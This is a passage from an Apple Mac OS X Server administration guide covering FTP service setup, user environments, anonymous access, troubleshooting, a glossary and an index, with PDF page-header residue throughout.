Transfer Protocol (FTP) service in Mac OS X Server. Overview FTP (File Transfer Protocol) is a simple way for computers of any type to transfer files over the Internet. Someone using any computer that supports FTP or an FTP client application can connect to your FTP server and upload or download files (depending on the permissions you set). Most Internet browsers and a number of freeware and shareware applications can be used to access your FTP server. FTP service in Mac OS X Server is based on the source code for Washington University’s FTP server, known as “wu-FTPd.” However, the original source code has been extensively modified to provide a better user experience. Some of these differences are described in the following sections. A Secure FTP Environment Most FTP servers restrict users to specific directories on the server. Users can see folders and files only in these directories, so the server is kept quite secure. Users cannot access volumes mounted outside the restricted directories, and symbolic links and aliases cannot reach outside these boundaries. FTP service in Mac OS X Server expands the restricted environment to allow access to symbolic links while still providing a secure FTP environment. You can allow FTP users access to the FTP root directory, their home directory, or to any other directory on the server that you set up as an FTP share point. A user’s access to the FTP root directory, FTP share points, and their home directory is determined by the user environment you specify (as described in the following section) and by their access privileges. LL2346.Book Page 75 Friday, August 22, 2003 2:38 PM 76 Chapter 6 FTP Service FTP Users FTP supports two types of users: • Authenticated users have accounts on your server (and might even have their home directories stored on the server). Some FTP software refers to these as real users. An authenticated user must provide a user name and password to access server files using FTP. You use the Accounts module of Workgroup Manager to review or set up authenticated users. • Anonymous users do not have accounts on your server. They are also called guest users (for example, in Workgroup Manager when you set up an FTP share point). An anonymous user can access the FTP directories on the server files using the common user name “anonymous” and their email address, which may be fictitious, as their password. You use the General pane of FTP service settings in Server Admin to allow anonymous access to your server. The FTP Root Directory The FTP root directory (or simply FTP root) is a portion of your server’s disk space set aside for FTP users. When you first install the server software, the FTP root is set to /Library/FTPServer/FTPRoot. You can change the FTP root; see “Changing the FTP Root Directory” on page 88. FTP User Environments Mac OS X Server lets you choose from three different FTP environments that give users access to some combination of the FTP root directory, other FTP share points, and user home directories: • FTP root and Share Points. • Home Directory with Share Points • Home Directory Only Share points in this case are any share points you have set up in Workgroup Manager to be shared using FTP. Home directories are the home directories of users who have accounts on the server. You can choose the user environment for your server in the Advanced pane of the FTP service settings in Server Admin. See “Changing Advanced Settings” on page 85. LL2346.Book Page 76 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 77 FTP Root and Share Points The “FTP Root and Share Points” option gives access—for both authenticated and anonymous users—to the FTP root and any FTP share points to which the users have access privileges, as shown in the following figure. Users access FTP share points through symbolic links attached to the FTP Root directory. The symbolic links are created automatically when you create the FTP share points. Note that in this example, /Users, /Volumes/Data, and /Volumes/Photos are FTP share points. All users can see the home directories of other users because they are subdirectories of the Users share point. Important: Regardless of the user environment setting, anonymous users and users without home directories are always logged into the “FTP Root and Share Points” environment. etc system Library Data Volumes FTP server FTP root FTP Root Looks like “/ ” to anonymous FTP users Looks like “/ ” when accessing as user “Bob” Looks like “/ ” when accessing as user “Betty” FTP share point incorporated within virtual root Data Betty Bob Users Photos Photos Symbolic link bin FTP Root LL2346.Book Page 77 Friday, August 22, 2003 2:38 PM 78 Chapter 6 FTP Service Home Directory With Share Points When the user environment option is set to “Home Directory with Share Points,” authenticated users log in to their home directories and have access to the FTP root by means of a symbolic link automatically created in their home directories. Users access other FTP share points through symbolic links in the FTP root. As always, access to the FTP share points is controlled by user access privileges. In this scenario, the /Users folder is not an FTP share point and users are not able to see the home directories of other users. If you change the FTP root, the symbolic link in a user’s home directory reflects that change. For example, if you change the FTP root to /Volumes/Extra/NewRoot, the symbolic link created in the user’s home directory would be called NewRoot. bin etc system Library Data Volumes FTP server FTP root Looks like “/ ” FTP share point incorporated within virtual root Data Betty Bob Users Photos Photos Share point Symbolic link Users LL2346.Book Page 78 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 79 Home Directory Only When you choose this option, authenticated users are confined to their home directories and do not have access to the FTP root or other FTP share points, as shown in the following illustration. Anonymous users and users without home directories still have access to the FTP root and FTP share points. To keep these users from seeing the home directories of authenticated users, the /Users folder is not set up as an FTP share point. bin etc system Library Data Volumes FTP server FTP root Reports Betty Bob Users Projects Photos FTP share point incorporated within virtual root Data Photos Share point Symbolic link Looks like “/ ” to anonymous FTP users LL2346.Book Page 79 Friday, August 22, 2003 2:38 PM 80 Chapter 6 FTP Service On-the-Fly File Conversion FTP service in Mac OS X Server allows users to request compressed or decompressed versions of information on the server. A file-name suffix such as “.Z” or “.gz” indicates that the file is compressed. If a user requests a file called “Hamlet.txt” and the server only has a file named “Hamlet.txt.Z,” it knows that the user wants the decompressed version, and delivers it to the user in that format. In addition to standard file compression formats, FTP in Mac OS X Server has the ability to read files from either HFS or non-HFS volumes and convert the files to MacBinary (.bin) format. MacBinary is one of the most commonly used file compression formats for the Macintosh operating system. The table below shows common file extensions and the type of compression they designate. Files With Resource Forks You can encourage Mac OS X clients to take advantage of on-the-fly conversion to help them transfer files created using older file systems that store information in resource forks. If you enable MacBinary and disk image auto-conversion in FTP service settings, files with resource forks will be listed as .bin files on the FTP clients. When a client asks to have one of these files transferred, on-the-fly conversion will recognize the .bin suffix and convert the file to a genuine .bin file for transfer. Kerberos Authentication FTP supports Kerberos authentication. You choose the authentication method using the General pane of the FTP service settings. See “Changing General Settings” on page 83. FTP service specifications • Maximum number of connected users (the default setting is 50 for authenticated users and 50 for anonymous users): 1000 • FTP port number: 21 • Number of failed login attempts before user is disconnected: 3 File extension What it means .gz DEFLATE compression .Z UNIX compress .bin MacBinary encoding .tar UNIX tar archive .tZ UNIX compressed tar archive .tar.Z UNIX compressed tar archive .crc UNIX checksum file .dmg Mac OS X disk image LL2346.Book Page 80 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 81 Before You Set Up FTP Service Consider the type of information you need to share and who your clients are when determining whether or not to offer FTP service. FTP works well when you want to transfer large files such as applications and databases. In addition, if you want to allow guest (anonymous) users to download files, FTP is a secure way to provide this service. Server Security and Anonymous Users Enabling anonymous FTP poses a security risk to your server and data because you open your server to users that you do not know. The access privileges you set for the files and folders on your server are the most important way you can keep information secure. Anonymous FTP users are only allowed to upload files into a special directory named “uploads” in the FTP root. If the uploads share point doesn’t exist, anonymous users will not be able to upload files at all. To ensure the security of your FTP server, by default anonymous users cannot: • Delete files • Rename files • Overwrite files • Change permissions of files LL2346.Book Page 81 Friday, August 22, 2003 2:38 PM 82 Chapter 6 FTP Service Setup Overview Here is an overview of the basic steps for setting up FTP service. Step 1: Before You Begin Read “Before You Set Up FTP Service” on page 81 for issues you should keep in mind when you set up FTP service. Step 2: Configure FTP General settings The General settings let you display banner and welcome messages, set the number of login attempts, and provide an administrator email address. See “Changing General Settings” on page 83. Step 3: Configure FTP Messages settings The Access settings let you specify the number of authenticated and anonymous users that can connect to the server. See “Changing the Greeting Messages” on page 84. Step 4: Configure FTP Logging settings The Logging settings let you specify the FTP-related events you want to log for authenticated and anonymous users. See “Choosing Logging Options” on page 84. Step 5: Configure FTP Advanced settings The Advanced settings let you change the FTP root and choose which items user can see. See “Changing Advanced Settings” on page 85. Step 6: Create an “uploads” folder for anonymous users (optional) If you enabled anonymous access in Step 2, you may want to create a folder for anonymous users to upload files. The folder must be named “uploads.” It is not a share point, but must have appropriate access privileges. See “Creating an Uploads Folder for Anonymous Users” on page 85. Step 7: Create share points and share them using FTP Use the Sharing module of Workgroup Manager to specify the share points that you want to make available through FTP. You must explicitly configure a share point to use FTP in order for FTP users to be able to access the share point. See “Creating a Share Point and Setting Privileges” on page 22 and “Changing FTP Settings for a Share Point” on page 25. Step 8: Start FTP service After you have configured FTP, start the service to make it available. See “Starting FTP Service” on page 86. LL2346.Book Page 82 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 83 Setting Up File Transfer Protocol (FTP) Service You use the Server Admin application to set up and enable FTP service. Changing General Settings You can use the General settings to limit the number of login attempts, provide an administrator email address, and limit the number and type of users. Changes you make to FTP service settings affect only new connections. Users who are currently connected will not see the changes. To configure the FTP General settings: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General. 3 To change the number of times a user can try to connect before they are disconnected, type a number in “Disconnect after __ failed login attempts.” 4 To provide a contact for your users, type an email address following “FTP administrator email address.” 5 Under Access, choose a method from the Authentication pop-up menu. 6 Type a number in the “Allow a maximum of __ authenticated users” field to limit the number of authenticated users who can connect to your server at the same time. Authenticated users have accounts on the server. You can view or add them using the Accounts module of Workgroup Manager. 7 Select “Enable anonymous access” to allow anonymous users to connect to the server. Anonymous users can log in using the name “ftp” or “anonymous.” They do not need a password to log in, but they will be prompted to enter their email addresses. Before selecting this option, you should review the privileges assigned to your share points carefully to make sure there are no security holes. 8 Type a number in the “Allow a maximum of __ anonymous users” field to limit the number of anonymous users who can connect to your server at the same time. 9 To have files with resource forks listed with a .bin suffix so that clients will take advantage of automatic file conversion when transferring them, select “Enable MacBinary and Disk Image auto-conversion.” 10 Click Save. From the Command Line You can also change FTP service settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 83 Friday, August 22, 2003 2:38 PM 84 Chapter 6 FTP Service Changing the Greeting Messages Users see the banner message when they first contact your server (before they log in) and the welcome message when they log in. To change the banner and welcome messages: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Messages. 3 Edit the message text. 4 Select “Show banner message” and “Show welcome message.” 5 Click Save. From the Command Line You can also change the FTP service banner message using the serveradmin command in Terminal or by editing the files /Library/FTPServer/Messages/banner.txt and /Library/FTPServer/Messages/welcome.txt. For more information, see the file services chapter of the command-line administration guide. Choosing Logging Options The Logging settings let you choose which FTP-related events to record. For either authenticated or anonymous users, you can record: • Uploads • Downloads • FTP commands • Rule violation attempts To configure the FTP Logging settings: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Logging. 3 In the “Log authenticated users” section, select events you want to record in the FTP log for authenticated users. 4 In the “Log anonymous users” section, select events you want to record in the FTP log for anonymous users. 5 Click Save. To view the log, select FTP in Server Admin and click Log. From the Command Line You can also change the FTP service logging settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 84 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 85 Changing Advanced Settings The Advanced settings let you specify the directories that FTP users can access. You can change the FTP root directory and choose whether users see the FTP root and share points, home directories and share points, or home directories only. To configure the FTP Advanced settings: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Advanced. 3 For “Authenticated users see,” choose the type of user (chroot) environment you want to use: FTP Root and Share Points, Home Directory with Share Points, or Home Directory Only. For more information, see “FTP Users” on page 76. 4 To change the FTP root, enter the pathname in the FTP Root field. For more information, see “The FTP Root Directory” on page 76. From the Command Line You can also change the FTP service settings using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Creating an Uploads Folder for Anonymous Users The uploads folder provides a place for anonymous users to upload files to the FTP server. It must exist at the top level of the FTP root directory and be named “uploads.” (If you have changed the FTP root directory, then the uploads folder must be at the root of that directory.) To create an uploads folder for anonymous users: 1 Use the Finder to create a folder named “uploads” at the top level of your server’s FTP root directory. 2 Set privileges for the folder to allow guest users to write to it. From the Command Line You can set up an FTP upload directory using the mkdir and chmod commands in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 85 Friday, August 22, 2003 2:38 PM 86 Chapter 6 FTP Service Starting FTP Service Start FTP file service to make the service available to your client users. To start FTP service: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Start Service (near the top of the window). From the Command Line You can also start the FTP service using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Managing FTP Service This section describes how to perform typical day-to-day management tasks for FTP service once you have it up and running. Stopping FTP Service Important: When you stop FTP service, users are disconnected without warning. To stop FTP service: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Stop Service (near the top of the window). From the Command Line You can also stop the FTP service using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 86 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 87 Allowing Anonymous User Access You can allow guests to log in to your FTP server with the user name “ftp” or “anonymous.” They don’t need a password to log in, but they will be prompted to enter an email address. For better security, do not enable anonymous access. To allow anonymous FTP service: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click General. 3 Under Access, select “Enable anonymous access.” 4 Click Save. From the Command Line You can also allow anonymous FTP access using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Changing the User Environment You use the Advanced pane of Configure FTP Service to change the user environment. To change the FTP user environment: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window), then click Advanced. 3 Choose the type of user environment you want to provide from the “Authenticated users see” pop-up menu. “FTP Root and Share Points” sets up the Users directory as a share point. Authenticated users log in to their home directories, if they’re available. Both authenticated and anonymous users can see other users’ home directories. “Home Directory with Share Points” logs authenticated FTP users in to their home directories. They have access to home directories, the FTP root, and FTP share points. “Home Directory Only” restricts authenticated FTP to user home directories. 4 Click Save. Regardless of the user environment you choose, access to all data is controlled by the access privileges that you or users assign to files and folders. Anonymous users and authenticated users who don’t have home directories (or whose home directories are not located in a share point to which they have access) are always logged in at the root level of the FTP environment. LL2346.Book Page 87 Friday, August 22, 2003 2:38 PM 88 Chapter 6 FTP Service Changing the FTP Root Directory The Advanced settings allow you to change the path to the FTP root directory. To specify a different FTP root: 1 If it doesn’t already exist, create the directory you want to use and configure it as an FTP share point. 2 Open Server Admin and select FTP in the Computers & Services list. 3 Click Settings (near the bottom of the window), then click Advanced. 4 Type the path to the new directory in the “Authenticated user FTP root” field or click the Browse button next to the field and select it. From the Command Line You can also change the FTP service root directory using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Viewing the Log You use Server Status to view the FTP log. To view FTP log: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Log (near the bottom of the window). To choose the types of events that are recorded, open Server Admin, select AFP, click Settings, then click Logging. From the Command Line You can also view the FTP log using the cat or tail commands in Terminal. For more information, see the file services chapter of the command-line administration guide. LL2346.Book Page 88 Friday, August 22, 2003 2:38 PM Chapter 6 FTP Service 89 Displaying Banner and Welcome Messages FTP service in Mac OS X Server lets you greet users who contact or log in to your server. Note: Some FTP clients may not display the message in an obvious place, or they may not display it at all. For example, in recent releases of the FTP client Fetch, you set a preference to display server messages. The banner message is displayed when a user first contacts the server, before they log in. The welcome message is displayed after they successfully log in. To display banner and welcome messages to users: 1 Open Server Admin and select FTP in the Computers & Services list. 2 Click Settings (near the bottom of the window). 3 Click Messages. 4 Select “Show welcome message” and edit the text of the message. 5 Select “Show banner message,” edit the text of the message, and click Save. From the Command Line You can also set the FTP service to display these messages using the serveradmin command in Terminal. For more information, see the file services chapter of the command-line administration guide. Displaying Messages Using message.txt Files If an FTP user opens a directory on your server that contains a file named “message.txt,” the file contents are displayed as a message. The user only sees the message the first time he or she connects to the directory during an FTP session. You can use the message to notify users of important information or changes. Using README Messages If you place a file called README in a directory, an FTP user who opens that directory receives a message letting them know that the file exists and when it was last updated. Then the user can choose whether or not to open and read the file. LL2346.Book Page 89 Friday, August 22, 2003 2:38 PM LL2346.Book Page 90 Friday, August 22, 2003 2:38 PM 7 91 7 Solving Problems This chapter lists possible solutions to common problems you might encounter working with the file services in Mac OS X Server. General Problems Users Can’t Access a CD-ROM Disc • Make sure the CD-ROM disc is a share point. • If you share multiple CDs, make sure each CD is shared using a unique name in the Sharing pane. Users Can’t Find a Shared Item • If a user can’t find a shared item, check the access privileges for the item. The user must have Read access privileges to the share point where the item is located and to each folder in the path to the item. • Keep in mind that server administrators don’t see share points the same way a user does over AFP because administrators see everything on the server. To see share points from a user’s perspective, log in using a user’s name and password. • Although DNS is not required for file services, an incorrectly configured DNS could cause a file service to fail. Users Can’t See the Contents of a Share Point • If you set Write Only access privileges to a share point, users won’t be able to see its contents. You Can’t Find a Volume or Directory to Use as a Share Point • Make sure the volume or directory name does not contain a slash (“/”) character. Workgroup Manager’s Sharing window, which lists the volumes and directories on your server, does not correctly display the names of volumes and directories (folders) that include the slash (“/”) character. LL2346.Book Page 91 Friday, August 22, 2003 2:38 PM 92 Chapter 7 Solving Problems Solving Problems With Apple File Service User Can’t Find the Apple File Server • Make sure the network settings are correct on the user’s computer and on the computer that is running Apple file service. If you can’t connect to other network resources from the user’s computer, the network connection may not be working. • Make sure the file server is running. You can use a “pinging” utility to check whether the server is operating. • If the user is searching for the server via AppleTalk (in the Chooser), make sure you’ve enabled browsing over AppleTalk in the General pane of the AFP service settings, and that AppleTalk is active on both the server and the user’s computer. • Check the name you assigned to the file server and make sure users are looking for the correct name. User Can’t Connect to the Apple File Server • Make sure the user has entered the correct user name and password. The user name is not case-sensitive, but the password is. • Verify that logging in is enabled for the user in the Users & Groups module of Workgroup Manager. • Check to see if the maximum number of client connections has been reached (in the Apple File Service Status window). If it has, other users should try to connect later. • Make sure the server that stores users and groups is running. • Verify that the user has AppleShare 3.7 or later installed on his or her computer. Administrators who want to use the admin password to log in as a user need at least AppleShare 3.8.5. • Make sure IP filter service is configured to allow access on port 548 if the user is trying to connect to the server from a remote location. For more on IP filtering, see the network services administration guide. User Doesn’t See Login Greeting • Upgrade the software on the user’s computer. Apple file service client computers must be using Appleshare client software version 3.7 or later. LL2346.Book Page 92 Friday, August 22, 2003 2:38 PM Chapter 7 Solving Problems 93 Solving Problems With Windows Services User Can’t See the Windows Server in the Network Neighborhood • Make sure users’ computers are properly configured for TCP/IP and have the appropriate Windows networking software installed. • Enable guest access for Windows users. • Go to the DOS prompt on the client computer and type ping <IP address>, where <IP address> is your server’s address. If the ping fails, then there is a TCP/IP problem. • If users’ computers are on a different subnet from the server, you must have a WINS server on your network. Note: If Windows computers are properly configured for networking and connected to the network, client users can connect to the file server even if they can’t see the server icon in the Network Neighborhood window. User Can’t Log in to the Windows Server • If you’re using Password Server to authenticate users, check to make sure that it is configured correctly. • If you have user accounts created in a previous version of Mac OS X Server (version 10.1 or earlier) that are still configured to use Authentication Manager, make sure that Authentication Manager is enabled. Then reset the passwords of existing users who will be using Windows services. Reset the user’s password and try again. LL2346.Book Page 93 Friday, August 22, 2003 2:38 PM 94 Chapter 7 Solving Problems Solving Problems With File Transfer Protocol (FTP) FTP Connections Are Refused • Verify that the user is entering the correct DNS name or IP address for the server. • Make sure FTP service is turned on. • Make sure the user has appropriate access privileges to the shared volume. • See if the maximum number of connections has been reached. To do this, open Server Admin, select FTP in the Computers & Services list, and click Overview. Note the number of connected users, click Settings, click General, and compare to the maximum user settings you have set. • Verify that the user’s computer is configured correctly for TCP/IP. If there doesn’t appear to be a problem with the TCP/IP settings, use a “pinging” utility to check network connections. • See if there is a DNS problem by trying to connect using the IP address of the FTP server instead of its DNS name. If the connection works with the IP address, there may be a problem with the DNS server. • Verify that the user is correctly entering his or her short name and typing the correct password. User names and passwords with special characters or double-byte characters will not work. To find the user’s short name, double-click the user’s name in the Users & Groups list. • See if there are any problems with directory services, and if the directory services server is operating and connected to the network. For help with directory services, see the Open Directory administration guide. • Verify that IP filter service is configured to allow access to the appropriate ports. If clients still can’t connect, see if the client is using FTP passive mode and turn it off. Passive mode causes the FTP server to open a connection to the client on a dynamically determined port, which could conflict with port filters set up in IP filter service. Clients Can’t Connect to the FTP Server • See if the client is using FTP passive mode, and turn it off. Passive mode causes the FTP server to open a connection on a dynamically determined port to the client, which could conflict with port filters set up in IP filter service. Anonymous FTP Users Can’t Connect • Verify that anonymous access is turned on. • See if the maximum number of anonymous user connections has been reached. To do this, open Server Admin and click FTP in the Computers & Services list. LL2346.Book Page 94 Friday, August 22, 2003 2:38 PM Chapter 7 Solving Problems 95 Solving Problems With Home Directories Users Can’t Open Their Home Directories • Make sure the share point used for home directories is set up as a network mount for home directories in Workgroup Manager. • Make sure the share point is created in the same Open Directory domain as your user accounts. • Make sure the client computer is set to use the correct Open Directory domain using Directory Access. LL2346.Book Page 95 Friday, August 22, 2003 2:38 PM LL2346.Book Page 96 Friday, August 22, 2003 2:38 PM 97 Glossary Glossary AFP (Apple Filing Protocol) A client/server protocol used by Apple file service on Macintosh-compatible computers to share files and network services. AFP uses TCP/IP and other protocols to communicate between computers on a network. drop box A shared folder with privileges that allow other users to write to, but not read, the folder’s contents. Only the owner has full access. Drop boxes should only be created using AFP. When a folder is shared using AFP, the ownership of an item written to the folder is automatically transferred to the owner of the folder, thus giving the owner of a drop box full access to and control over items put into it. everyone Any user who can log in to a file server: a registered user or guest, an anonymous FTP user, or a website visitor. export The Network File System (NFS) term for sharing. FTP (File Transfer Protocol) A protocol that allows computers to transfer files over a network. FTP clients using any operating system that supports FTP can connect to a file server and download files, depending on their access privileges. Most Internet browsers and a number of freeware applications can be used to access an FTP server. group A collection of users who have similar needs. Groups simplify the administration of shared resources. guest user A user who can log in to your server without a user name or password. Network File System (NFS) A client/server protocol that uses TCP/IP to allow remote users to access files as though they were local. NFS exports shared volumes to computers according to IP address, rather than user name and password. nfsd daemon An NFS server process that runs continuously behind the scenes and processes reading and writing requests from clients. The more daemons that are available, the more concurrent clients can be served. NSL (Network Service Locator) The Apple technology that simplifies the search for TCP/IP-based network resources. LL2346.Book Page 97 Friday, August 22, 2003 2:38 PM 98 Glossary owner The person who created a file or folder and who therefore has the ability to assign access privileges for other users. The owner of an item automatically has read/write privileges for that item. An owner can also transfer ownership of an item to another user. privileges Settings that define the kind of access users have to shared items. You can assign four types of privileges to a share point, folder, or file: read/write, read-only, write-only, and none (no access). share point A folder, hard disk (or hard disk partition), or CD that is accessible over the network. A share point is the point of access at the top level of a group of shared items. Share points can be shared using AFP, Windows SMB, NFS (an “export”), or FTP protocols. SLP (Service Location Protocol) DA (Directory Agent) A protocol that registers services available on a network and gives users easy access to them. When a service is added to the network, the service uses SLP to register itself on the network. SLP/DA uses a centralized repository for registered network services. SMB (Server Message Block) A protocol that allows client computers to access files and network services. It can be used over TCP/IP, the Internet, and other network protocols. Windows services use SMB to provide access to servers, printers, and other network resources. WINS (Windows Internet Naming Service) A name resolution service used by Windows computers to match client names with IP addresses. A WINS server can be located on the local network or externally on the Internet. LL2346.Book Page 98 Friday, August 22, 2003 2:38 PM 99 Index Index .bin (MacBinary) format 80, 83 FTP auto-conversion 83 A access logs AFP service 42 access privileges. See privileges administrator privileges 11 advisory locks for NFS 27 AFP (Apple Filing Protocol) setting up share points using 23 AFP service access log 47 Access settings 41 allowing guest access 50 archiving logs 48 automatically disconnecting idle users 49 automatically mounting share point in Mac OS X client 52 automounting share point on Mac OS 8 or 9 client 53 connecting to server in Mac OS 8 and 9 53 connecting to server in Mac OS X 51 described 9 enabling AppleTalk browsing 46 limiting connections 47 login greeting 50 Mac OS 8 and 9 client software requirements 53 Mac OS X client software requirements 51 monitoring 44 overview 37 problems with 92 registering with NSL 46 registering with Rendezvous 46 Rendezvous registration type 46 sending users messages 49 setting up 39 solving problems 92 specifications 38, 55 starting 44 stopping 45 viewing logs 45 anonymous FTP 81 Apple Filing Protocol. See AFP AppleShare 92 AppleTalk 38, 40, 92 authentication AFP service 37 Kerberos 37, 80 Windows services 56 Authentication Manager 56, 93 auto-conversion (FTP) 83 See also on-the-fly conversion automount. See network mount B bin (MacBinary) format 80 C client computers encoding for older clients 40 client computers (Mac OS 8 and 9) using AFP service 53 client computers (Mac OS X) using AFP service 51 client computers (Windows) using file services 66 using Windows services 66 compressed files 80 cross-platform issues for file service 56 custom FTP root 88 D daemons nfsd 72 disconnect messages 43, 49 DNS service problems with 94 domain browsing services 60 DOS prompt 93 drop box overview 10 setting up 34 LL2346.Book Page 99 Friday, August 22, 2003 2:38 PM 100 Index E error logs AFP service 42, 48 everyone privileges 11 exporting NFS share point 26 extensions, filename 80 F file name extensions 80 files compressed 80 conversion in FTP 80 with resource forks (FTP) 80, 83 file services other information sources 15 overview 9 related applications 9 file sharing planning 14 security 14 File Transfer Protocol. See FTP fonts network accessible 13 FTP (File Transfer Protocol) about 75 anonymous FTP 81 connections 94 file compression 80 guest access 81 on-the-fly conversion 80 passive mode 94 security of 75 setting up share points using 25 user environment 76 FTP root and share points user environment 77 FTP servers security of 75, 81 FTP service 81 Access settings 84 Advanced settings 85 anonymous 81, 87 anonymous uploads folder 85 custom root 88 described 9 displaying user messages 89 General settings 83 Logging settings 84 overview 75 planning 81 preparing for setup 81 README messages 89 setup overview 82 solving problems 94 specifications 80 starting 86 stopping 86 user environment 87 viewing logs 88 G group accounts privileges 11 guest access FTP service 81 restricting 14 to AFP share points 23 Windows 93 Windows services 65 guest accounts access guidelines 14 guests restricting access 14 guest users accessing AFP service 50 defined 14 limiting AFP connections 50 maximum AFP connections 50 H home directories 19, 29 problem with 95 share point requirements 19 Home Directory and FTP Root user environment 78 Home Directory Only user environment 79 I IP filter service 92, 94 K Kerberos authentication AFP service 37 FTP service 80 L locking NFS advisory locks 27 SMB opportunistic 19 SMB strict 19 log files AFP access logs 42 AFP logging options 42 AFP service log file location 38 error logs 42, 48 FTP 88 FTP logging options 84 Windows logging options 59, 65 Windows service log file location 55 LL2346.Book Page 100 Friday, August 22, 2003 2:38 PM Index 101 M MacBinary (.bin) format 80, 83 FTP auto-conversion 83 Mac OS systems cross-platform guidelines 56 masquerading 41 mounting share points network (automatic) mounts 13, 29 N naming share points don’t include slash 22 for home directories 29 NFS 26 naming share points for 29 network making fonts available over 13 Network File System. See NFS Network Globe contents 13 folders in 13 share points 13 network library folder system resources 13 network mount 13, 29 Network Neighborhood 66, 93 connecting to server without 67 connecting to service with 67 NFS (Network File System) firewall security 70 resharing mounts 27 setting up share points using 26 specifying share point clients 33 nfsd daemons 72 NFS service configuring settings 72 described 9 monitoring 73, 74 overview 69 planning 70 setup overview 71 stopping 73 uses for 69 None privilege 10 NSL (Network Service Location) aids client browsing 51 registering AFP servers 46 O on-the-fly conversion 80 oplocks. See opportunistic locking opportunistic locking described 19 enabling 24 owner privileges 11 P passive mode FTP 94 passwords file servers 92 Password Server 93 recommended for Windows 56 password validation for Windows 56 permissions on AFP share points 23 port 548 used by AFP service 92 privileges administrator 11 copying 31 everyone 11 explicit 11 explicit vs. inherited 11, 12 group 11 guests 14 hierarchy 12 overview 10 owner 11 setting for share points 22 user categories 11 problems See troubleshooting Q QTSS (QuickTime Streaming Server) file access privileges 10 QuickTime Streaming Server. See QTSS quotas and NFS reshares 27 disk space 19 R Read & Write privileges 10 README messages, for FTP 89 Read Only privileges 10 Rendezvous AFP registration type 46 and client browsing 51 registering AFP service 46 resharing NFS mounts 27 resource forks 80, 83 S Samba 55 security access privileges 14 FTP servers 75, 81 NFS 70 NFS exports and 70 NFS limitations 14 LL2346.Book Page 101 Friday, August 22, 2003 2:38 PM 102 Index Server Admin AFP service Access settings 41 AFP service General settings 40 AFP service Idle Users settings 43 AFP service Logging settings 42 AFP service status 44, 48 allowing guest access to AFP service 50 allowing guest access to Windows services 65 archiving AFP service logs 48 assigning Windows server to workgroup 62 automatically disconnecting users from AFP service 49 changing Windows server name 62 creating AFP service login greeting 50 custom FTP root 88 disconnecting users from AFP service 48 disconnecting users from Windows services 66 enabling Windows service domain browsing 64 enabling Windows services logs 65 FTP Access settings 84 FTP Advanced settings 85 FTP General settings 83 FTP Logging settings 84 FTP logs 88 FTP user environment 87 FTP user messages 89 limiting connections to Windows services 64 monitoring NFS 73 monitoring Windows services 63 NFS settings 72 registering Windows service with WINS 63 sending messages to AFP users 49 setting up anonymous FTP 87 starting AFP service 44 starting FTP service 86 starting Windows services 61 stopping AFP service 45 stopping FTP service 86 Windows services Advanced settings 60 Windows services General settings 58, 59 Windows services Logging settings 59 Server Message Block. See SMB servers Windows file servers 58 WINS servers 60 setting up share point for 29 share points AFP name 23 changing NFS clients 33 changing owner and privileges 32 changing protocols 32 creating 22 defined 17 drop box 34 for home directories 19 for Windows users 56 naming NFS 26 network (automatic) mounting 13, 29 removing 30 setup overview 20 viewing 31 Sherlock AFP and 38 showmount command 74 SLP (Service Location Protocol) 40, 46 SMB (Server Message Block) protocol 55 considerations 18 setting up share points using 24 space quotas 19 specifications AFP service 38, 55 FTP service 80 spoofing ownership in NFS 70 strict locking described 19 enabling 24 subnet 93 exporting NFS share point to 26 T TCP/IP and FTP problems 94 and Windows services 66 port 548 and AFP service 92 Terminal application 74 troubleshooting AFP service 92 FTP 94 Windows services 93 U UDP (User Datagram Protocol) 72 uploads folder in FTP 85 user environment in FTP 76, 87 users anonymous FTP users 94 categories 11 limiting AFP connections 41, 50 unregistered 14 W Web-based Distributed Authoring and Versioning. See WebDAV WebDAV (Web-based Distributed Authoring and Versioning) file access privileges 10 Windows clients cross-platform guidelines 56 share points for 18 Windows file servers 58 Windows services LL2346.Book Page 102 Friday, August 22, 2003 2:38 PM Index 103 Access settings 60 assigning server to workgroup 62 authentication 56 changing server name 62 connecting to server with Network Neighborhood 67 connecting to server without Network Neighborhood 67 described 9 disconnecting users 66 enabling domain browsing 64 General settings 58, 59 guest access 65 limiting connections 64 monitoring 63 overview 55 password validation 56 planning 56 problems with 93 registering with WINS server 63 Samba 55 services supported 55 setting up logs 65 solving problems 93 specifications 55 starting 61 stopping 61 supported in Mac OS X Server 66 using TCP/IP 66 Windows systems cross-platform guidelines 56 WINS (Windows Internet Naming Service) 55 registering with 63 required for Windows clients 93 servers 60 Workgroup Manager and Mac OS X Server version 10.1.5 35 changing owner and privileges for share point 32 changing share point protocols 32 configuring an AFP share point 23 configuring an FTP share point 25 configuring an SMB share point 24 configuring NFS share points 26 copying privileges 31 creating share points 22 mounting share points automatically 29 remote login 35 removing share points 30 setting up a drop box 34 specifying NFS clients for share point 33 viewing access privileges for share points 33 viewing privileges for share points 31 viewing share points 31 World privileges (NFS) 14 Write Only privileges 10 LL2346.Book Page 103 Friday, August 22, 2003 2:38 PM
pdf
